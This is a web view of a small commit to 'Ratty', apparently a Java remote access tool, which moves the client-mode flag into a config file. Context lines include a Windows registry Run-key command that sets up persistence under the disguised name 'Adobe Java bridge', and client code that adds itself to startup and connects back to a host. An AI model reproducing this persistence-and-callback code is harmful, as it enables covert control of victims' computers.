Browse Source

Minor changes

Loads the client flag from the config again
master
Sogomn 9 years ago
parent
commit
1691fce6db
  1. 1
      Ratty/res/connection_data.txt
  2. 8
      Ratty/src/de/sogomn/rat/Ratty.java

1
Ratty/res/connection_data.txt

@ -1,2 +1,3 @@
localhost
23456
false

8
Ratty/src/de/sogomn/rat/Ratty.java

@ -19,6 +19,7 @@ public final class Ratty {
private static String address;
private static int port;
private static boolean client;
private static final int CONNECTION_INTERVAL = 2500;
private static final String CONNECTION_DATA_FILE_NAME = "/connection_data.txt";
@ -29,7 +30,6 @@ public final class Ratty {
private static final String REGISTRY_COMMAND = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + STARTUP_FILE_PATH + "\"";
public static final String VERSION = "1.0";
public static final boolean CLIENT = false;
private Ratty() {
//...
@ -38,12 +38,14 @@ public final class Ratty {
private static void readConnectionData() {
final String[] lines = FileUtils.readInternalLines(CONNECTION_DATA_FILE_NAME);
if (lines.length >= 2) {
if (lines.length >= 3) {
final String addressString = lines[0];
final String portString = lines[1];
final String clientString = lines[2];
address = addressString;
port = Integer.parseInt(portString);
client = Boolean.parseBoolean(clientString);
}
}
@ -95,7 +97,7 @@ public final class Ratty {
WebLookAndFeel.install();
readConnectionData();
if (CLIENT) {
if (client) {
addToStartup();
connectToHost(address, port);
} else {

Loading…
Cancel
Save